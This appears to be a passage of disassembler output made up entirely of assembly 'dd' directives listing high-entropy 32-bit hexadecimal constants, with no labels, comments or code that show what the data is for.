		dd 6000BCD2h, 5551B719h, 0B3063BDh, 0EE31295Ah,	84454AD7h
		dd 0B480CE9Fh, 4C4D0AFBh, 0BD5F192Fh, 8BF6B128h, 17F70924h
		dd 0F90FCC36h, 0D0047360h, 4D0E2954h, 1D2DD9C0h, 17B24A19h
		dd 2184AF8Eh, 8B4CC7FFh, 0EA6FBD05h, 234AB731h,	10003C13h
		dd 127A02C1h, 9AEDE7E9h, 0ECE65E80h, 345C0AFAh,	0B313ABA8h
		dd 971337ABh, 0F15A696Fh, 0EE2A1909h, 9C4D242h,	7DBC6636h
		dd 0D59DF958h, 85BEF81Ch, 3863BE87h, 0C3C1E911h, 9EBCED6Bh
		dd 74D183CBh, 0E60449BAh, 0B039FACBh, 0BD3540F9h, 4B8C1420h
		dd 0FBF91305h, 5E0C9304h, 2DC80102h, 0C018EAF5h, 0B7A98A95h
		dd 2B0792E9h, 0D636D992h, 883134ADh, 0AD9C592Bh, 0A8145565h
		dd 0E1B572ACh, 0FBE4896h, 0F0A95EEFh, 0EF60D385h, 3125858Ah
		dd 0B78863DCh, 6EAC8A47h, 7988E215h, 2424DA52h,	0DC5A481Bh
		dd 0E23F8029h, 52E91FF9h, 87B8C9D3h, 0E73DEE04h, 0BAF4EA62h
		dd 7F1BB0BBh, 90E30430h, 80265F32h, 0A208CD0h, 4CE9220Bh
		dd 0EF5CD446h, 0F4C8CF6Bh, 0B0B16C3h, 0B57F5A7h, 0CD84DD11h
		dd 561F08Dh, 953F757Ch,	0B0C52642h, 0B6E8AE13h,	0E9E1D1E0h
		dd 6BCFE255h, 0EBD300EDh, 6C7E27B4h, 4632EF8Fh,	8F394541h
		dd 0EE886884h, 0C5C496F8h, 3F2DBA0Ch, 0A4859B2Dh, 5A40E22Ch
		dd 529732AFh, 0E6026BFFh, 515D26BEh, 81352489h,	7ABC35B8h
		dd 0F665E99Dh, 3882827Eh, 60219823h, 265B8A0Bh,	108B1BC7h
		dd 30B1173Ch, 68DFD0EEh, 0ACBB3A89h, 9B0DA50Ch,	1C9DB607h
		dd 1E8135Ah, 0C9FEE18Eh, 5C1CA4C0h, 3C4E4A08h, 0FB7C8612h
		dd 67680D21h, 5B77612Ch, 9852E614h, 0B44279CEh,	7650AD48h
		dd 8C2EC55Ch, 0BAD766F9h, 17885846h, 0DBAF533Ch, 476B24D5h
		dd 0E83AA7A1h, 0DDE9E10Eh, 0AA5F0328h, 0C7E56569h, 0F016E917h
		dd 0FD3665A0h, 8EB5E6B0h, 0C331255Dh, 7AC1CC82h, 0AA8B22ADh
		dd 747FE70Bh, 5CB882D9h, 72D85E96h, 68543055h, 0FC474E2Ah
		dd 12C8D16Eh, 0D1F9427Dh, 0C664568Fh, 5C44EB5Ah, 0C91E46B4h
		dd 55CE6190h, 0BF02D2BEh, 0E01558BAh, 1356CFBAh, 4095237h
		dd 1797AA56h, 984ED0FBh, 840028EEh, 76F86850h, 4581233h
		dd 85E94840h, 0C132AA66h, 40926A5Ch, 0C0A7C011h, 1E07050Ch
		dd 11F170Ah, 0FA4C57D8h, 5AE6A3F7h, 7D944B81h, 965D9C62h
		dd 0B2E42D7Fh, 242A76F3h, 0E0BB6AA1h, 6AF55A25h, 0B489666h
		dd 161F03E4h, 0AF98F0Bh, 7D07C224h, 0F1A66AC8h,	11088228h
		dd 0B378B5B3h, 6E10BD03h, 0B62D1D85h, 0BB965150h, 80735BFAh
		dd 6A685F9Dh, 0E0F45C58h, 95B937E9h, 0DF62DFFEh, 0C2FAC673h
		dd 7F966817h, 4589A2D9h, 3DB2512Dh, 9D7A9AF4h, 0D4E9095Ch
		dd 0DBF70902h, 0AC2BFFEh, 69740B59h, 0D967DC25h, 103B7920h
		dd 6C58435Dh, 252E1124h, 2A2998E1h, 0FAC459EBh,	67273B76h
		dd 19AFFD83h, 491CF610h, 0F5881139h, 69DDAC48h,	9D02379Bh
		dd 31003DD1h, 95295DEBh, 0C7778F0Bh, 5C0DB2D7h,	0C9C7F95Fh
		dd 24FFB7E2h, 0FFE9680Dh, 7B573489h, 4413121Eh,	0FF315DD1h
		dd 0ADD2D71h, 0EB022436h, 1AE34439h, 1A84A5Dh, 5E726808h
		dd 9E2F778Bh, 492B9A46h, 5B3DE953h, 0AEE33F17h,	3DC7710h
		dd 177639BBh, 55E7B73h,	89C8D0DEh, 0A849C4DAh, 8CA74FD4h
		dd 0FE4FD29Dh, 2E86872h, 477D58C1h, 50E98458h, 7750B9D3h
		dd 0C1208F26h, 923FA7A6h, 3B24A4B8h, 0C47894AAh, 8494AAD1h
		dd 0E24FE6B8h, 0DDEAC054h, 0DA29FB28h, 804405Ah, 5B04C351h
		dd 378EFB4Eh, 0BBB79922h, 0A209D267h, 0B03F8BB7h, 1864E2D2h
		dd 6C779A33h, 8A3F50EEh, 0FF30F60Dh, 40DE9042h,	205B606Ch
		dd 0CC174F47h, 0E9060F94h, 5A8F92FCh, 208CE8E1h, 0D728256Bh
		dd 2DC4D888h, 9248D340h, 0E82A44C0h, 8231FC33h,	971265F6h
		dd 17B262E0h, 0BEDAF636h, 0F1A378C3h, 722AA568h, 4F6050BBh
		dd 793054A2h, 2088FC7Eh, 78578276h, 0C4054AE0h,	0FBB2FAECh
		dd 88C659C9h, 0B838D1A4h, 8FBA4F4Dh, 43AD25FAh,	5C313CE2h
		dd 223B2A98h, 0F3B0D430h, 9258E53Dh, 6AB952ABh,	6CAE49Ah
		dd 0A3507FFCh, 59BF80B1h, 61A50C16h, 0F3F49CF5h, 0E99E0B5Ah
		dd 0B377E6FBh, 0EF6ED14Eh, 0AD42417Bh, 0EC66DD34h, 0C8950FE3h
		dd 0C90ED3E4h, 0FEE1FE2Dh, 0CC566F5Fh, 0BF3E08h, 3103142Dh
		dd 8A9809B5h, 1BB85007h, 7A2FBE7Fh, 4CEAF712h, 0E9085B55h
		dd 2069C5D7h, 295F0208h, 19C7E9FAh, 0D6055C02h,	65ACF09Bh
		dd 86553BCBh, 982D6E6Bh, 0C8B6A163h, 9078CC36h,	0ABAE2026h
		dd 1D16B97Ah, 1FAB4B8Dh, 0AFEC53C8h, 502510B3h,	88273772h
		dd 6BF30FEEh, 5A0CABB6h, 0B249F251h, 60D2FFB9h,	5F1D705Fh
		dd 2220B14Ah, 0BB53C0A9h, 0C41B21B2h, 0AFFC11B4h, 88E28BB8h
		dd 0EF58AE8Bh, 0C3C52E4Eh, 580AFA2h, 759A7A3Eh,	2C015931h
		dd 5C020D38h, 56462459h, 7CF70080h, 0F4B41F8h, 0CB49068Dh
		dd 0FAE05B8Dh, 26955D57h, 459D3C16h, 82A4C95Ch,	7BCBEA98h
		dd 706CF1C9h, 5FD3B131h, 109381Eh, 861A20E7h, 0F39EDD14h
		dd 119FB900h, 64B860FCh, 75829577h, 0E9C150F9h,	538DA31h
		dd 5D4096E2h, 970B99B8h, 0F7595682h, 0E8763F1Eh, 5D52519Ch
		dd 0F833C07Ah, 0BAF02D6Bh, 0DF095576h, 0F614159h, 847AC8BFh
		dd 0EFAFD221h, 5539661h, 83A6C0BBh, 550B3241h, 2B5DEE01h
		dd 0DA9FFE20h, 0F36836E8h, 0E3335E4Eh, 0AFA3F41Dh, 0B3B2D213h
		dd 0BB0E1047h, 823F9340h, 0E9C6E3F7h, 8E2FA229h, 4F592407h
		dd 9BBFE901h, 806EBDFCh, 2A7E6FDAh, 0ADD3013Eh,	0DD54420Bh
		dd 0EA4250F9h, 0C59FF5Dh, 0EAAD3A93h, 0C1BB840Dh, 45A42A87h
		dd 635D447Ah, 0E0B493D3h, 0D6CD2D80h, 0F8C3C500h, 0B758C4B0h
		dd 85EF12DAh, 42A9D9AAh, 107531C2h, 835FE526h, 158D5ED5h
		dd 4C31C813h, 6058599Ah, 657983A4h, 492724Ch, 47D8FD92h
		dd 268F083h, 5FCDE163h,	0EA8D60A7h, 87F07EADh, 0F282180Fh
		dd 0BFEE138Ch, 0F7B0849Dh, 97DC9FF2h, 73E70C21h, 0D20BEE59h
		dd 80088FE7h, 236EC86Fh, 0F301200Ch, 295E0880h,	5951FB26h
		dd 30AF1612h, 0BB361E04h, 9BC6858h, 0F48471DEh,	56093E32h
		dd 9D06C2AFh, 681332A7h
		dd 0A3D232ABh, 0EAF409FAh, 1E925751h, 5208D2A8h, 0FB23C9DFh
		dd 406EA248h, 300FBE1Ah, 49F6FCBCh, 0B8D661FFh,	3DF71D4h
		dd 4E820D73h, 24FF39ACh, 68CE8CE0h, 4D7F3727h, 985118BBh
		dd 0FA3E4653h, 9ECE8276h, 80710E47h, 0B94E1A98h, 20449833h
		dd 0E913F874h, 8C8BA7BBh, 93AEE84Bh, 2E3469FBh,	69E7E4ECh
		dd 0B7D51EFFh, 7CAD97EDh, 1C888855h, 0C605A328h, 501538E5h
		dd 296A860Dh, 5B530B7Ah, 501345FBh, 0D1DDF30Ah,	31B1B3BAh
		dd 44C3DFD0h, 0E6185BB3h, 0B05325CEh, 99F1C939h, 63A024Dh
		dd 0C2558B3Fh, 58F451h,	0E9DE47EFh, 4CB5F7EAh, 0E1415B55h
		dd 39FF2BFDh, 10FC38C0h, 0EA48744Eh, 8BDD1584h,	66E14E28h
		dd 520091D1h, 91909AB6h, 0D6F6571Dh, 0DC05C653h, 0EAF627EDh
		dd 0FA4E8E48h, 4BE9A804h, 0C17BAFCh, 0D2D8F85Bh, 93E006BAh
		dd 340B0EACh, 85C58809h, 0EAE8DE96h, 0F6C88605h, 0CAC783D1h
		dd 0A7B0D4E1h, 3C20F64Ah, 2532681Ch, 55C9CF7h, 45DA6851h
		dd 0A782C1B2h, 78429F6h, 492F8F70h, 0E859EBB7h,	3D7410F1h
		dd 0EEAF62F2h, 401C360Bh, 0A095E20h, 6D7F800Fh,	771188F2h
		dd 0DCF6043Dh, 0EAEDF328h, 0A3B55109h, 0E566A97Fh, 5A801F98h
		dd 83C128B4h, 0F7E75DD2h, 54105884h, 0FE3B25E9h, 485BAFC6h
		dd 833257E1h, 54B4E9E1h, 0FC0784A1h, 0FDF010F5h, 5B56502Ch
		dd 3AC535F9h, 478422E2h, 8D74AA08h, 27CC1FC0h, 84355E42h
		dd 1AC644FFh, 0FD7FC5ECh, 60F8D74Dh, 3F60CFE1h,	0AA5C2C5Dh
		dd 7E1AF525h, 698D2040h, 2C6FA626h, 88078C06h, 0E3C6078Ah
		dd 0C1108352h, 0E1118BE6h, 55F02E03h, 4A2A7209h, 3FD7A921h
		dd 2A88549h, 0E7BFCD01h, 758E698Ah, 80D70932h, 93B850A5h
		dd 659B2510h, 0C22F80F0h, 54167FB1h, 6C518C9Dh,	1A210E6Bh
		dd 0CCDD0108h, 0CE5D9532h, 0A1209697h, 0C57980E9h, 42A8031Ah
		dd 0BCC0FB09h, 0B44F8A0Fh, 0B7AEB8C4h, 0E913794Ch, 5CB24FFAh
		dd 0ED25014Ch, 559D97F0h, 11A052BEh, 0F99D8061h, 45BCC247h
		dd 5691B900h, 84575E31h, 148AC3Ch, 50D074DAh, 0F320D9F7h
		dd 0FF6138B4h, 4C64ABCEh, 3AA5F1EEh, 81804CA8h,	603C66CDh
		dd 0F5042176h, 7C6E451Eh, 0C1521B96h, 0C17A4C46h, 3F4FE930h
		dd 91F9F3C4h, 5B580B9Ch, 88EBFB02h, 576192F7h, 0D2A5FE79h
		dd 0FD3C44F5h, 0EC598140h, 0ECA94F9Eh, 9CFC414h, 0B1300716h
		dd 29548155h, 65A22A7Ch, 31685F04h, 0DFE9032Bh,	5D4C34D7h
		dd 4FBFEDC6h, 0BF0C5EF4h, 0D0883202h, 0DA5A7569h, 80F860FDh
		dd 131E73CCh, 0BB5215C4h, 0E01A7CD4h, 4E87D246h, 2DAF00D1h
		dd 0FD8129Eh, 76348FE2h, 0CAFB16A6h, 64AA108Ah,	1CF55626h
		dd 0B230FD20h, 0C8289B06h, 1B75958h, 0F1B75352h, 65F5FA88h
		dd 0FBD40575h, 854A9F39h, 0FB5372A4h, 0E90A66E3h, 81F4C26Ch
		dd 0CE398DEBh, 76CBD866h, 51FE5C14h, 33D11280h,	6003E8E4h
		dd 93B7303Ah, 1690C7FEh, 9F4A8A20h, 708C767Eh, 5FF612A1h
		dd 4521B0DFh, 0FC8CCC98h, 0E4BAF1F0h, 24202F97h, 9DFA0736h
		dd 92143066h, 0B78957B9h, 5E9A552Bh, 9110EA60h,	55D84281h
		dd 0BEEABF54h, 0F32E5160h, 530C4A99h, 90F4ABB3h, 4E2C2019h
		dd 539546ECh, 65C40246h, 8D56069Fh, 3E47B27h, 310BE8C1h
		dd 908D53A3h, 9937254h,	0C9C1F29Fh, 70320506h, 56434280h
		dd 81007427h, 0A76411E7h, 27840F15h, 0B17CAC4Fh, 0E187FB70h
		dd 0C86F2FC2h, 2947D601h, 79F76FCFh, 0CC214B79h, 5A585EE1h
		dd 3709D235h, 0A334755Ch, 6BE371BDh, 1CC794FFh,	3817E7E9h
		dd 26CBB4Ah, 82A149E9h,	6F592D02h, 22D771A4h, 5F016DC8h
		dd 31D67812h, 0A8753E82h, 5518C26Eh, 44C9932Fh,	0B03E44FDh
		dd 3C209DC7h, 942AC8C3h, 0A200FB8h, 1BC1583Ah, 4BC9AA40h
		dd 0C0B8D03Fh, 18450241h, 57AEE882h, 564007B7h,	2D839550h
		dd 0B0F603B2h, 598358C5h, 1682E14Fh, 0CB7A0C80h, 0EA05ED89h
		dd 308F1905h, 0EF01F029h, 58B63ACDh, 16A8846Fh,	658AABD9h
		dd 90458D00h, 67D92D64h, 3CFAD74Ch, 0D7D56EBCh,	0F4C1D088h
		dd 0EF3835E5h, 3A94AFC4h, 0B91909BEh, 0CCD72AA9h, 0EEBF31C8h
		dd 0BC3B1FCDh, 7F109323h, 50FB3316h, 0E913083Eh, 8811445Ah
		dd 5837BEE3h, 0E15BDA82h, 0FB3A686Eh, 5A560F1Dh, 245870E3h
		dd 0FA4BE73Bh, 455FE68Bh, 0FF2EA0A5h, 5C986D32h, 9E69678h
		dd 67568B8Ch, 5A472970h, 64B9CB20h, 91AA5B15h, 544ED62h
		dd 0FB03B4BFh, 0A5744749h, 0EE7ACF0Ah, 0B7EE240h, 25617C91h
		dd 4D59AC38h, 94181582h, 0FA146079h, 66E7B716h,	3039B402h
		dd 0E941FFE1h, 0E45FC6E0h, 8106C0FCh, 0A1609DEAh, 882553F0h
		dd 0C06C7EC7h, 4F2647DDh, 3FFFE924h, 0D3684E9Ch, 29972F0Eh
		dd 4AE5202h, 1230D2CBh,	89583C04h, 77A60482h, 0B6576209h
		dd 95699F75h, 5D5DEF7h,	0CA5E8873h, 5F6B4AA7h, 92EA93C3h
		dd 6805FDFCh, 984460FDh, 8DBBC234h, 7CF7E559h, 0DDC24186h
		dd 5B57EA77h, 0F8E941ACh, 0C9AC2411h, 24223A5Bh, 6F4A6055h
		dd 0BA6C58A9h, 713BE502h, 66401030h, 0F7828A9Dh, 933D63E7h
		dd 6B0051DFh, 5B576F25h, 60089D5Eh, 0BBC059Eh, 1501AFB2h
		dd 95927013h, 3196A02Ah, 2C081DB6h, 77FF0523h, 369B8240h
		dd 4EDD103h, 0AED8676Eh, 29A5F0D9h, 0FE29E9F8h,	0DD01B76Dh
		dd 12E537Fh, 8EAC7F7h, 0DD525A0Bh, 0A9D65838h, 0F5262795h
		dd 92A1730Eh, 824D1460h, 35BA0A80h, 51D279Fh, 15DD4F9Ah
		dd 0A67AAD40h, 0BDF0E9C2h, 51BD3E00h, 4E300825h, 0DAB2A845h
		dd 5B14AF7h, 0FD2F8050h, 691FDFC4h, 7C0394A5h, 0EA3EE1D2h
		dd 0A352672Ah, 23045DC9h, 6C3AE4CCh, 1AC71B1Eh,	0C5C012D3h
		dd 3D0FCBBAh, 0E42F1F55h, 88C1CEC3h, 7F312590h,	0BF3A7069h
		dd 9AC1B22Ch, 12EEB279h, 0E8290168h, 0FD51E241h, 5C4988F9h
		dd 6BE4580Dh, 7893A0BFh, 0A02FB671h, 249843AAh,	22554E0h
		dd 63660AF6h, 6B2CAF7h,	0F1E5D08h, 602009FBh, 820D6E8h
		dd 7F41E917h, 9A9EE0BDh, 40DEFD9Ah, 4665109Fh, 0A20C328Ch
		dd 42F8FD9Bh, 95525628h, 4A587C7Dh, 0FAF23796h,	2DC00A24h
		dd 5A1877FBh, 5C89F463h, 0C992574Ch, 0E24A8559h, 8B0B9D53h
		dd 7D762B6Dh, 79979315h, 3C5101E0h, 8C13E2B1h, 0A1A4B819h
		dd 0C59D5887h, 0F84ED6E5h, 0E7944836h, 0C8B65290h, 32CE3980h
		dd 0C057E680h, 0DEF602EEh, 7202598h, 66CC9EDh, 12BF0779h
		dd 75CD1D4Bh, 0C7CD462Eh, 0EE067369h, 53B1397Bh, 36540B0Ch
		dd 6757E4F4h, 40E03C9Ah, 48363CF6h, 49AD5997h, 2F11E980h
		dd 759D02F0h, 80B2B1A0h, 310B43F6h, 6268E9FEh, 0F0AF40EBh
		dd 49850C13h, 0E38EC383h, 0D812DA17h, 3A44621Eh, 0ECEA7FEDh
		dd 74680968h, 2FD4C649h, 0CD530384h, 7DB15549h,	84D17A02h
		dd 0FD96D9BDh, 20C4BBEBh, 2176E5FBh, 0C03487E9h, 7B8307E1h
		dd 0E22F023Fh, 5CA5311Eh, 67399640h, 745F9A2Fh,	0B8E0C2D0h
		dd 89FD4D7Dh, 10F02DE9h, 8E7373BDh, 0E1101089h,	3381B918h
		dd 136896C9h, 2BDE7155h, 0F2AEF013h, 57F2B5D3h,	6B7B6882h
		dd 9096B4FDh, 75BD18C8h, 25F4B63Fh, 82065997h, 6859351Fh
		dd 4270425Dh, 3DC340C4h, 0C6291287h, 98205D58h,	39D448D8h
		dd 6116F3Fh, 57E1E9D0h,	140E98D1h, 9888724Ch, 4A07AC01h
		dd 44CB0110h, 0E90802CEh, 0E2D4AF6Eh, 6F4874A7h, 0D2BA37A5h
		dd 3E42D01Dh, 0F89F0CC4h, 38883258h, 4C5F0C24h,	0D25B65BBh
		dd 8D529CCh, 764E52D2h
		dd 0BA0BB574h, 52440E7h, 0AD11168Ch, 53034B48h,	0E98EED5Bh
		dd 562F1C1Fh, 0AF45E44Bh, 30AA6D17h, 6EE1804Bh,	0B5BB5E00h
		dd 0E9D5D24Bh, 0E4314A32h, 63651D10h, 0DCC2E0FFh, 0FAA257D1h
		dd 187F2234h, 98768D24h, 0BBDDF0EDh, 3ED7A7F8h,	500DB61Bh
		dd 0DF3F6E6Ch, 1FF60007h, 0E9D4A9E3h, 0B9445A27h, 0F254CC30h
		dd 3F80B526h, 834633BEh, 6A8C1D50h, 2B371C14h, 5C0B5AABh
		dd 4561715Dh, 883CFB5Ch, 0AE544A55h, 4A921F8Dh,	0D75D6220h
		dd 5A7E13F0h, 667BDF25h, 93F59534h, 711BF9EAh, 1F08253Fh
		dd 542DE0D8h, 0F8DDDE5Dh, 5797D301h, 0C3249796h, 146A2F02h
		dd 0B05A4C10h, 0A82F5532h, 0C384503Bh, 4350606h, 3B0AA6B9h
		dd 4DD48CC1h, 435F3089h, 44622E80h, 72973D8Bh, 0E9DE27ECh
		dd 5F9707D5h, 0C2547065h, 73AA09D8h, 2F7B7866h,	0B8C7E448h
		dd 5618408h, 0AF556851h, 8780F934h, 901A0B18h, 0DD563A0h
		dd 6A18FD29h, 0F3538878h, 0A25B131Dh, 7CFEED18h, 0DC619C5Bh
		dd 0AC150CF4h, 313C134Dh, 57032CFFh, 5409537Fh,	5C52A121h
		dd 0D7B4987Dh, 7F4A8F0Fh, 4ABEA8A4h, 89A7FC68h,	580A4165h
		dd 5156072Eh, 6DF34753h, 870CE494h, 525A5927h, 3F826966h
		dd 57CE55h, 4FF1E681h, 86E942B9h, 31F1D2B7h, 1A7B7853h
		dd 9CBA74C9h, 8BBBC8D6h, 463524F4h, 702D0D81h, 0E1400A9Eh
		dd 0A1216C28h, 0EE55E6DCh, 0B30DD1BBh, 193B8851h, 815B003Dh
		dd 9F4F07EDh, 8E0F6005h, 4EFCE3B2h, 458C3FC4h, 0F3E43E50h
		dd 171163E7h, 0BF11479Fh, 0B27456EBh, 14DD978Eh, 308A262Eh
		dd 3C4DA670h, 0E45F4A7Bh, 1DC47CC0h, 0F905EAC1h, 0A515B4D9h
		dd 949D7BF1h, 0F7C25BE9h, 0D3929B67h, 11FA2053h, 150EA715h
		dd 0DF9CB858h, 8394B750h, 0C54F59E9h, 1D1000B6h, 68AD0E70h
		dd 5C603235h, 2DE65506h, 3C7A054Ah, 8DB03698h, 8176CD00h
		dd 0FD2E94C2h, 96E9183Eh, 6ECF7F9Bh, 94AD2FE1h,	463CE985h
		dd 0AE02B2CCh, 9CF9CE8Ah, 5C746069h, 0C024AB49h, 4EE22DC9h
		dd 8496E86Dh, 0B3000E75h, 38C380B9h, 0C2BE06CEh, 422857F3h
		dd 6D727759h, 0D1BC6A24h, 0B16802BFh, 5573953Fh, 0B9002496h
		dd 6FAA4F8Dh, 0F3E9CF31h, 9EDEBBA5h, 812D3Ch, 0D0F758EBh
		dd 9EC9040h, 356E453Bh,	0F1C11980h, 0F095035Ah,	0ED505080h
		dd 0EC5B4B77h, 0A742B112h, 0E17996A4h, 7A52D368h, 58E9EA60h
		dd 0FD79979Dh, 0A0EF88h, 6B5BEAB9h, 0CE260910h,	60008B59h
		dd 12CD677h, 8216B7C6h,	0C583FE34h, 0C4518CEEh,	1636DF41h
		dd 100FB94Fh, 0F55B3C3Dh, 8A817FF7h, 0BC6A5776h, 18F2B7D9h
		dd 0B78CC08h, 2CA45DAh,	892767D6h, 3F047548h, 85D9B2F9h
		dd 0B1D90964h, 0BA28D9E4h, 0DD00392h, 48C12A85h, 3F34C3E1h
		dd 3840F445h, 1E63A50h,	4AA54861h, 0B8765BEh, 0BE9CE29h
		dd 3FB1DD70h, 0E8E88292h, 0A1C9B84Eh, 0C06854Dh, 4770C20h
		dd 0CD6596BBh, 6001FE3Bh, 0EF1457Ch, 12BEE530h,	847F4E6Dh
		dd 573F80ACh, 44F1147h,	11D496BAh, 28AA1CC1h, 442F758Fh
		dd 983C23CBh, 0A16027Dh, 86C75566h, 0AA99F671h,	126CAC70h
		dd 0F056FE5Dh, 8A2EB0Ch, 83471C51h, 71AC56FBh, 327EEDE9h
		dd 1D293B31h, 0DA04423Ch, 0A2EED387h, 25E9A088h, 0FFFA9537h
		dd 256A633Bh, 0EF37507Dh, 0F2AAD06Bh, 0C82646F9h, 6208D313h
		dd 64CA8832h, 0F54BAB27h, 31AB4E90h, 0B5CA3DC0h, 0EC62A476h
		dd 3E5E03E2h, 0D2F77E24h, 9E345802h, 7709E3C9h,	4D961EA1h
		dd 58C2E0C4h, 1EA8312h,	11D1F08h, 6F4ABD55h, 0E50E70BFh
		dd 0BEE44798h, 0D809ADBAh, 183B35h, 0BB21CC1Dh,	0F1810233h
		dd 7CA93E8Ah, 9D51342h,	0EF365521h, 0C2B5DEB7h,	97246FE3h
		dd 0C10849C2h, 74505B7h, 0F3981CBEh, 0A388EFEFh, 629D7C74h
		dd 70F47759h, 3E3B2581h, 42B52B6h, 0F509115h, 0AEB226ACh
		dd 0FF585B2Ah, 0B8B35A67h, 0B6AF8591h, 4B449F9h, 71227AF4h
		dd 1388987h, 9A44F0BFh,	2FEC3143h, 97BEA653h, 9236B243h
		dd 575C6DDh, 0C34975C6h, 9E9C0132h, 0F22CCB7Fh,	92BD6057h
		dd 0E98FEAA3h, 0C938442Ah, 0CEEF1365h, 0D4683E03h, 4334E9A0h
		dd 40EF6D79h, 0C57E8CC2h, 57D646DCh, 0F3F708F8h, 47263AA0h
		dd 0CEA56DDFh, 26418744h, 0F121580Ch, 7DBA2295h, 58251C7h
		dd 0FE545358h, 0C3C8BBE2h, 66C55045h, 54970BBEh, 0BE8B4555h
		dd 565C9254h, 0D626889h, 0BB9D5F7h, 25BB2F5Dh, 5B19F622h
		dd 99EFDD12h, 0BFE77B1Dh, 2B65B15Bh, 2CEF8A98h,	588F2C8Bh
		dd 60281309h, 5C04F07Ah, 296E2FADh, 82762DFFh, 0CA20742Eh
		dd 898E7EC0h, 92DFA131h, 80F05F45h, 0E0095A98h,	0FC212928h
		dd 0AFE99C4Ch, 8B7D0862h, 5847DFF1h, 3C16D2A6h,	55616289h
		dd 0A65FF6E8h, 0ED5941D3h, 0F2166FC2h, 0A28645B8h, 0ED0493A6h
		dd 3E965747h, 7ACE76C0h, 2FE9F2D4h, 1D53EC30h, 1E916D4Fh
		dd 8A75886Fh, 22FF2B4Ah, 5C414628h, 0DA1EF816h,	0F0F3292Dh
		dd 2CC69FB4h, 18E97F4Bh, 893EF21Eh, 888055F5h, 5A482D53h
		dd 0E96382B5h, 3927C0Ah, 492C8604h, 3684D8C9h, 9EEE4E3Fh
		dd 48302708h, 61458B36h, 0C7800C1Eh, 7472F9B3h,	0DE77293Ch
		dd 0E8C0B55Fh, 77632ABAh, 53BE0016h, 315B6B41h,	19A5AD6h
		dd 23BDE97Ch, 4A5DEACAh, 1647ADADh, 0C7EC4469h,	5E9680B5h
		dd 3F98BE5Ah, 0A0552527h, 0D74A8BDCh, 800F2634h, 85183566h
		dd 342BDA2h, 2E7DA2F3h,	9FD7D908h, 8AD5F87Fh, 3393D67Bh
		dd 0CD74788Dh, 402A4EBDh, 2631D61Dh, 0A4020D14h, 0C13FD357h
		dd 1C08C0E0h, 4D7582DBh, 3956A52Fh, 5E3AE9D0h, 7FEE9D6Ch
		dd 8C0F2944h, 0EBB5300h, 7F67D04Ah, 1600C5D2h, 54AEE92Bh
		dd 3287D08Ah, 0A4FF6879h, 0D69711D0h, 6AB38B87h, 31ECCC5Fh
		dd 31850827h, 4CEB1163h, 0B8287AFCh, 2BCAA268h,	24387B08h
		dd 187C2758h, 28BB5D92h, 152768A4h, 0C9095112h,	9F793F56h
		dd 9F5C4F24h, 0E3E2BED4h, 0C4B5765Ah, 0F425F455h, 0A8439662h
		dd 91675754h, 8212133Fh, 0BEB89284h, 1829CB84h,	2E32E7FAh
		dd 24D01C9h, 6A69156Fh,	45803C40h, 47651D18h, 0D48B10Eh
		dd 2BE98306h, 0D4E7EC51h, 7031192Ch, 6698CF01h,	0E33030B2h
		dd 0AB2A4B51h, 265B9F8Fh, 681C0805h, 77251A71h,	5230C1EEh
		dd 10A6C481h, 0EC455BA5h, 2F074108h, 0E2223F1h,	4B22CF10h
		dd 894022F8h, 0D238B7BDh, 5D829D37h, 0D9F5D0C2h, 2975EB48h
		dd 6B8F7579h, 16E9FD01h, 0B8E96EDAh, 0BD476712h, 70CF2FCBh
		dd 0BBF3BFDCh, 0BCCA2E8Ah, 5FE8FFA5h, 55866358h, 0B77AC308h
		dd 0CFE4A19h, 0E90E5DD6h, 19421B17h, 72D43001h,	0FBE81047h
		dd 4505807Eh, 34DEEA16h, 5D58E08h, 0BF1AF268h, 0EF4B718Fh
		dd 27E97BDCh, 0FF41666h, 908D562h, 49A96080h, 7D90A061h
		dd 431BFE09h, 528B005Dh, 4D1737BAh, 3304C39Dh, 0BF2B666Bh
		dd 360C1E12h, 98080602h, 304A0CD8h, 0B4D2091Fh,	498CB12h
		dd 834FA3A8h, 38882CE2h, 0D9680176h, 22250876h,	9161BCh
		dd 7C232548h, 32F670E2h, 1B49CD4Fh, 0F513E285h,	54C037F9h
		dd 48C2685Ah, 0E0D08F76h, 19A5D10h, 43AB30B8h, 0AF3B293Ch
		dd 0EC2BC82Dh, 5F29CBA9h, 0E03AB6C2h, 7B471911h, 6A68B1C1h
		dd 0C8604E35h, 0F49807Fh, 33728D1Ah, 8EF1D77Eh,	1455997h
		dd 1ACB5E53h, 0BAF7B665h, 0D262D48Dh, 4B2FDCD0h, 4BF33DA9h
		dd 405F253Fh, 67C809A0h, 0D3F4A059h, 0CD0C019Bh, 22E5B2E9h
		dd 656EC558h, 8A47F870h
		dd 231DFE5Eh, 29F099CBh, 410BF573h, 172F6D5Dh, 34999357h
		dd 4CD4D0ACh, 7897BD6Dh, 5AAA00C8h, 0CB29778Ah,	0A70BBE56h
		dd 7C1F5734h, 0F375058Ch, 0ED43AA15h, 567AA28h,	7E18930Ch
		dd 8B38237h, 416D02F7h,	932F0C7h, 5D4E3EFAh, 0F72A82D5h
		dd 5F48D5D9h, 562FD58Bh, 89277CE8h, 0CE05EF3h, 0B300310Ch
		dd 0C2354053h, 0B7194164h, 381AC8Ah, 5AB94950h,	9BE9E70Bh
		dd 24D059B4h, 0F975173Ch, 5E40848Ch, 426BBE03h,	6F60789Bh
		dd 0DF6CCE6Ch, 60216B74h, 0EB405D04h, 206EDE39h, 69D4E909h
		dd 7FAFA8B3h, 7F78E018h, 684164B4h, 1B9D7C83h, 73E5A56Ah
		dd 8E25DD2Dh, 0D288FACCh, 0D6E4972Ch, 0ADDF016Eh, 0A53ACDDBh
		dd 0F0F1F593h, 0C8978287h, 3980CECDh, 0F59F6FCDh, 0CDCDBF20h
		dd 16F7332Fh, 26852079h, 89A5683Ah, 0F5586D39h,	0F68E1A82h
		dd 0FE0D6469h, 300947C1h, 480769Bh, 64D4962Eh, 0EAB185B1h
		dd 559B3AF4h, 0BD2B9D95h, 0D9E9B036h, 0AC3BE156h, 8268B393h
		dd 9F435180h, 0E100A277h, 151F1E61h, 60A2880Fh,	0AFC11993h
		dd 257CA052h, 2071822Fh, 6129C960h, 0E94B136Eh,	5F7CB074h
		dd 772F559Fh, 0C150F269h, 0E222D1BDh, 8ED8E0E9h, 914182B0h
		dd 0FA572860h, 0B727B295h, 744F0272h, 998B97C8h, 88E70977h
		dd 0C9A10E1Ah, 9634D268h, 5440261h, 60FB5251h, 0A05678DBh
		dd 7C5B7025h, 2CEA2DB5h, 4A598006h, 21E2DA4Fh, 20BA8078h
		dd 30DF1316h, 16100243h, 9809A53Bh, 2077FA27h, 58006BBDh
